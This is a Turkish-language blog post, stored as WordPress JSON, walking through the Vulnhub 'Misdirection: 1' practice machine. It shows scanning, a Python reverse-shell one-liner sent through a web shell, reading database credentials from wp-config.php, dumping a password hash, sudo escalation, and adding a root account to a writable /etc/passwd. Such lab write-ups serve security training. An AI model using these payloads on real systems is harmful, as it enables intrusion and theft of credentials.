{"id":1333,"date":"2021-07-12T00:47:08","date_gmt":"2021-07-12T00:47:08","guid":{"rendered":"http:\/\/144.76.171.171\/blog\/?p=1333"},"modified":"2021-07-12T00:47:08","modified_gmt":"2021-07-12T00:47:08","slug":"misdirection-1","status":"publish","type":"post","link":"https:\/\/berenkudaygorun.com\/blog\/blog\/2021\/07\/12\/misdirection-1\/","title":{"rendered":"MISDIRECTION: 1"},"content":{"rendered":"<h2>Makine Hakk\u0131nda Bilgiler<\/h2>\n<p><strong>A\u00e7\u0131klama:<\/strong><br \/>\nThe purpose of this machine is to grant OSCP students further develop, strengthen, and practice their methodology for the exam.<\/p>\n<p>This works better with VirtualBox rather than VMware<\/p>\n<p><strong>Vulnhub Sayfas\u0131:<\/strong><br \/>\n<a href=\"https:\/\/www.vulnhub.com\/entry\/misdirection-1,371\/\">https:\/\/www.vulnhub.com\/entry\/misdirection-1,371\/<\/a><\/p>\n<p><strong>\u0130ndirme Sayfas\u0131:<\/strong><br \/>\n<a href=\"https:\/\/download.vulnhub.com\/misdirection\/Misdirection.zip\">https:\/\/download.vulnhub.com\/misdirection\/Misdirection.zip<\/a><\/p>\n<h2>Walkthrough<\/h2>\n<p>Makineyi tespit ederek ba\u015flayal\u0131m.<\/p>\n<pre><code class=\"language-sh\">\u250c\u2500\u2500(root&#x1f480;kali)-[~]\n\u2514\u2500# arp-scan -l\nInterface: eth0, type: EN10MB, MAC: 00:0c:29:97:a8:e4, IPv4: 192.168.6.132\nStarting arp-scan 1.9.7 with 256 hosts (https:\/\/github.com\/royhills\/arp-scan)\n192.168.6.1 00:50:56:c0:00:08   VMware, Inc.\n192.168.6.2 00:50:56:f3:da:b0   VMware, Inc.\n192.168.6.136   00:0c:29:c0:ee:d9   VMware, Inc.\n192.168.6.254   00:50:56:e2:58:34   VMware, Inc.\n\n51 packets received by filter, 0 packets dropped by kernel\nEnding arp-scan 1.9.7: 256 hosts scanned in 2.024 seconds (126.48 hosts\/sec). 4 responded\n<\/code><\/pre>\n<p>nmap taramas\u0131 ile devam edelim.<\/p>\n<pre><code class=\"language-sh\">[*] Scan: 989\nStarting Nmap 7.91 ( https:\/\/nmap.org ) at 2021-07-11 20:39 EDT\nNmap scan report for 192.168.6.136\nHost is up (0.00029s latency).\nNot shown: 65531 closed ports\nPORT     STATE SERVICE VERSION\n22\/tcp   open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)\n| ssh-hostkey: \n|   2048 ec:bb:44:ee:f3:33:af:9f:a5:ce:b5:77:61:45:e4:36 (RSA)\n|   256 67:7b:cb:4e:95:1b:78:08:8d:2a:b1:47:04:8d:62:87 (ECDSA)\n|_  256 59:04:1d:25:11:6d:89:a3:6c:6d:e4:e3:d2:3c:da:7d (ED25519)\n80\/tcp   open  http    Rocket httpd 1.2.6 (Python 2.7.15rc1)\n|_http-server-header: Rocket 1.2.6 Python\/2.7.15rc1\n|_http-title: Site doesn&#039;t have a title (text\/html; charset=utf-8).\n3306\/tcp open  mysql   MySQL (unauthorized)\n8080\/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))\n|_http-open-proxy: Proxy might be redirecting requests\n|_http-server-header: Apache\/2.4.29 (Ubuntu)\n|_http-title: Apache2 Ubuntu Default Page: It works\nMAC Address: 00:0C:29:C0:EE:D9 (VMware)\nDevice type: general purpose\nRunning: Linux 3.X|4.X\nOS CPE: cpe:\/o:linux:linux_kernel:3 cpe:\/o:linux:linux_kernel:4\nOS details: Linux 3.2 - 4.9\nNetwork Distance: 1 hop\nService Info: OS: Linux; CPE: cpe:\/o:linux:linux_kernel\n\nTRACEROUTE\nHOP RTT     ADDRESS\n1   0.29 ms 192.168.6.136\n\nOS and Service detection performed. Please report any incorrect results at https:\/\/nmap.org\/submit\/ .\nNmap done: 1 IP address (1 host up) scanned in 21.35 seconds\n<\/code><\/pre>\n<p>nikto ve gobuster ile taraalar yapmay\u0131 denedim bu esnada bir web shell farkettim.<\/p>\n<pre><code class=\"language-sh\">\u250c\u2500\u2500(root&#x1f480;kali)-[~]\n\u2514\u2500# cat \/root\/oscp\/misdirection\/3\n===============================================================\nGobuster v3.1.0\nby OJ Reeves (@TheColonial) &amp; Christian Mehlmauer (@firefart)\n===============================================================\n[+] Url:                     http:\/\/192.168.6.136:8080\n[+] Method:                  GET\n[+] Threads:                 50\n[+] Wordlist:                \/usr\/share\/wordlists\/dirbuster\/directory-list-2.3-big.txt\n[+] Negative Status codes:   400,404,502\n[+] User Agent:              gobuster\/3.1.0\n[+] Extensions:              bash,html,conf,php5,sh,sql,txt,7z,php,cap,bak,zip,rar,pcap\n[+] Follow Redirect:         true\n[+] Expanded:                true\n[+] Timeout:                 10s\n===============================================================\n2021\/07\/11 09:20:44 Starting gobuster in directory enumeration mode\n===============================================================\nhttp:\/\/192.168.6.136:8080\/index.html           (Status: 200) [Size: 10918]\nhttp:\/\/192.168.6.136:8080\/scripts              (Status: 200) [Size: 746]  \nhttp:\/\/192.168.6.136:8080\/help                 (Status: 200) [Size: 740]  \nhttp:\/\/192.168.6.136:8080\/images               (Status: 200) [Size: 744]  \nhttp:\/\/192.168.6.136:8080\/development          (Status: 200) [Size: 754]  \nhttp:\/\/192.168.6.136:8080\/manual               (Status: 200) [Size: 744]  \nhttp:\/\/192.168.6.136:8080\/css                  (Status: 200) [Size: 738]  \nhttp:\/\/192.168.6.136:8080\/js                   (Status: 200) [Size: 736]  \nhttp:\/\/192.168.6.136:8080\/shell                (Status: 200) [Size: 742]  \nhttp:\/\/192.168.6.136:8080\/wordpress            (Status: 200) [Size: 11419]\nhttp:\/\/192.168.6.136:8080\/debug                (Status: 200) [Size: 12908]\nhttp:\/\/192.168.6.136:8080\/server-status        (Status: 403) [Size: 280]  <\/code><\/pre>\n<p><strong><a href=\"http:\/\/192.168.6.136:8080\/debug\/\">http:\/\/192.168.6.136:8080\/debug\/<\/a><\/strong> adresine geldi\u011fimizde www-data kullan\u0131c\u0131s\u0131ndan reverse alabildim. Kulland\u0131\u011f\u0131m payload a\u015fa\u011f\u0131dad\u0131r.<\/p>\n<pre><code class=\"language-sh\">p0wny@shell:\u2026\/html\/debug# python -c &#039;import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((&quot;192.168.6.132&quot;,1822));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn(&quot;\/bin\/bash&quot;)&#039;<\/code><\/pre>\n<pre><code class=\"language-sh\">\u2514\u2500# nc -lvp 1822\nlistening on [any] 1822 ...\n192.168.6.136: inverse host lookup failed: Unknown host\nconnect to [192.168.6.132] from (UNKNOWN) [192.168.6.136] 36306\nwww-data@misdirection:\/var\/www\/html\/debug$ whoami\nwhoami\nwww-data\nwww-data@misdirection:\/var\/www\/html\/debug$ id\nid\nuid=33(www-data) gid=33(www-data) groups=33(www-data)\nwww-data@misdirection:\/var\/www\/html\/debug$ \n<\/code><\/pre>\n<p>Yapt\u0131\u011f\u0131m incelemeler sonucunda mysql kullan\u0131c\u0131s\u0131n\u0131n bilgisine oradanda wordpress kullan\u0131c\u0131s\u0131n\u0131n hashine eri\u015ftim ancak k\u0131ramad\u0131m.<\/p>\n<pre><code class=\"language-sh\">www-data@misdirection:\/var\/www\/html\/wordpress$ cat wp-config.php\ncat wp-config.php\n&lt;?php\n\/**\n * The base configuration for WordPress\n *\n * The wp-config.php creation script uses this file during the\n * installation. You don&#039;t have to use the web site, you can\n * copy this file to &quot;wp-config.php&quot; and fill in the values.\n *\n * This file contains the following configurations:\n *\n * * MySQL settings\n * * Secret keys\n * * Database table prefix\n * * ABSPATH\n *\n * @link https:\/\/codex.wordpress.org\/Editing_wp-config.php\n *\n * @package WordPress\n *\/\n\n\/\/ ** MySQL settings - You can get this info from your web host ** \/\/\n\/** The name of the database for WordPress *\/\ndefine( &#039;DB_NAME&#039;, &#039;wp_myblog&#039; );\n\n\/** MySQL database username *\/\ndefine( &#039;DB_USER&#039;, &#039;blog&#039; );\n\n\/** MySQL database password *\/\ndefine( &#039;DB_PASSWORD&#039;, &#039;abcdefghijklmnopqrstuv&#039; );\n\n\/** MySQL hostname *\/\ndefine( &#039;DB_HOST&#039;, &#039;localhost&#039; );\n\n\/** Database Charset to use in creating database tables. *\/\ndefine( &#039;DB_CHARSET&#039;, &#039;utf8&#039; );\n\n\/** The Database Collate type. Don&#039;t change this if in doubt. *\/\ndefine( &#039;DB_COLLATE&#039;, &#039;&#039; );\n<\/code><\/pre>\n<pre><code class=\"language-sh\">mysql&gt; select * from wp_users;\nselect * from wp_users;\n+----+------------+------------------------------------+---------------+------------------+----------+---------------------+---------------------+-------------+--------------+\n| ID | user_login | user_pass                          | user_nicename | user_email       | user_url | user_registered     | user_activation_key | user_status | display_name |\n+----+------------+------------------------------------+---------------+------------------+----------+---------------------+---------------------+-------------+--------------+\n|  1 | admin      | $P$BC4vcMsqXqr\/cc46cx.E1arnrBq1yU\/ | admin         | admin@brexit.com |          | 2019-06-01 06:08:19 |                     |           0 | admin        |\n+----+------------+------------------------------------+---------------+------------------+----------+---------------------+---------------------+-------------+--------------+\n1 row in set (0.01 sec)\n<\/code><\/pre>\n<p>Daha sonras\u0131nda sudo yetkilerini kontrol ettim ve kolay bir \u015fekilde yetki y\u00fckseltebildim.<\/p>\n<pre><code class=\"language-sh\">[!] sud010 Can we list sudo commands without a password?................... yes!\n---\nMatching Defaults entries for www-data on localhost:\n    env_reset, mail_badpass, secure_path=\/usr\/local\/sbin\\:\/usr\/local\/bin\\:\/usr\/sbin\\:\/usr\/bin\\:\/sbin\\:\/bin\\:\/snap\/bin\n\nUser www-data may run the following commands on localhost:\n    (brexit) NOPASSWD: \/bin\/bash\n---ore--(1%)\n[*] sud040 Can we read sudoers files?...................................... nope<\/code><\/pre>\n<pre><code class=\"language-sh\">www-data@misdirection:\/tmp$ sudo -u brexit \/bin\/bash\nsudo -u brexit \/bin\/bash\nbrexit@misdirection:\/tmp$ whoami\nwhoami\nbrexit\nbrexit@misdirection:\/tmp$ <\/code><\/pre>\n<p>\u0130lk flagi ald\u0131m.<\/p>\n<pre><code class=\"language-sh\">brexit@misdirection:~$ cat user.txt\ncat user.txt\n404b9193154be7fbbc56d7534cb26339\nbrexit@misdirection:~$ \n<\/code><\/pre>\n<p>find arac\u0131n\u0131 ger\u00e7ekten \u00e7ok iyi kullanmam\u0131z gerekti\u011fini d\u00fc\u015f\u00fcn\u00fcyorum. Ne yaz\u0131kki basit bir makinede \u00e7ok zaman kaybettim. A\u015fa\u011f\u0131daki sonu\u00e7 ger\u00e7ekten komik \ud83d\ude42<\/p>\n<pre><code class=\"language-sh\">brexit@misdirection:\/tmp$ find \/etc -writable -type f 2&gt;\/dev\/null\nfind \/etc -writable -type f 2&gt;\/dev\/null\n\/etc\/passwd\nbrexit@misdirection:\/tmp$ <\/code><\/pre>\n<p>Bunun \u00fczerine paroals\u0131 <strong>toor<\/strong> olacak \u015fekilde kali \u00fczerinden bir ahsh \u00fcrettim.<\/p>\n<pre><code class=\"language-sh\">\u250c\u2500\u2500(root&#x1f480;kali)-[~\/tool]\n\u2514\u2500# openssl passwd -1                                                                                                                                   130 \u2a2f\nPassword: \nVerifying - Password: \n$1$8cSusXYr$UFL1aC9j8VzUslBpbUZCr.<\/code><\/pre>\n<p>Daha sonras\u0131nda root kullan\u0131c\u0131s\u0131 ve grubu olarak bir kullan\u0131c\u0131 ekledim.<\/p>\n<pre><code class=\"language-sh\">brexit@misdirection:\/var\/www\/html\/debug$ echo &#039;hacker:$1$8cSusXYr$UFL1aC9j8VzUslBpbUZCr.:0:0:root:\/root:\/bin\/bash&#039; &gt;&gt; \/etc\/passwd\n&lt;slBpbUZCr.:0:0:root:\/root:\/bin\/bash&#039; &gt;&gt; \/etc\/passwd\nbrexit@misdirection:\/var\/www\/html\/debug$ tail -n 1 \/etc\/passwd\ntail -n 1 \/etc\/passwd\nhacker:$1$8cSusXYr$UFL1aC9j8VzUslBpbUZCr.:0:0:root:\/root:\/bin\/bash\nbrexit@misdirection:\/var\/www\/html\/debug$ su hacker\nsu hacker\nPassword: toor\n\nroot@misdirection:\/var\/www\/html\/debug# id\nid\nuid=0(root) gid=0(root) groups=0(root)\nroot@misdirection:\/var\/www\/html\/debug# cd \/root\ncd \/root\nroot@misdirection:~# ls\nls\nroot.txt\nroot@misdirection:~# cat root.txt\ncat root.txt\n0d2c6222bfdd3701e0fa12a9a9dc9c8c\n<\/code><\/pre>\n","protected":false},"excerpt":{"rendered":"<p>Makine Hakk\u0131nda Bilgiler A\u00e7\u0131klama: The purpose of this machine is to grant OSCP students further develop, strengthen, and practice their methodology for the exam. This&#8230;<\/p>\n<div class=\"more-link-wrapper\"><a class=\"more-link\" href=\"https:\/\/berenkudaygorun.com\/blog\/blog\/2021\/07\/12\/misdirection-1\/\">Devam\u0131n\u0131 oku<span class=\"screen-reader-text\">MISDIRECTION: 1<\/span><\/a><\/div>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[498],"tags":[561,560],"class_list":["post-1333","post","type-post","status-publish","format-standard","hentry","category-walkthrough","tag-etc-passwd","tag-openssl","entry"],"_links":{"self":[{"href":"https:\/\/berenkudaygorun.com\/blog\/wp-json\/wp\/v2\/posts\/1333","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/berenkudaygorun.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/berenkudaygorun.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/berenkudaygorun.com\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/berenkudaygorun.com\/blog\/wp-json\/wp\/v2\/comments?post=1333"}],"version-history":[{"count":1,"href":"https:\/\/berenkudaygorun.com\/blog\/wp-json\/wp\/v2\/posts\/1333\/revisions"}],"predecessor-version":[{"id":1334,"href":"https:\/\/berenkudaygorun.com\/blog\/wp-json\/wp\/v2\/posts\/1333\/revisions\/1334"}],"wp:attachment":[{"href":"https:\/\/berenkudaygorun.com\/blog\/wp-json\/wp\/v2\/media?parent=1333"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/berenkudaygorun.com\/blog\/wp-json\/wp\/v2\/categories?post=1333"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/berenkudaygorun.com\/blog\/wp-json\/wp\/v2\/tags?post=1333"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}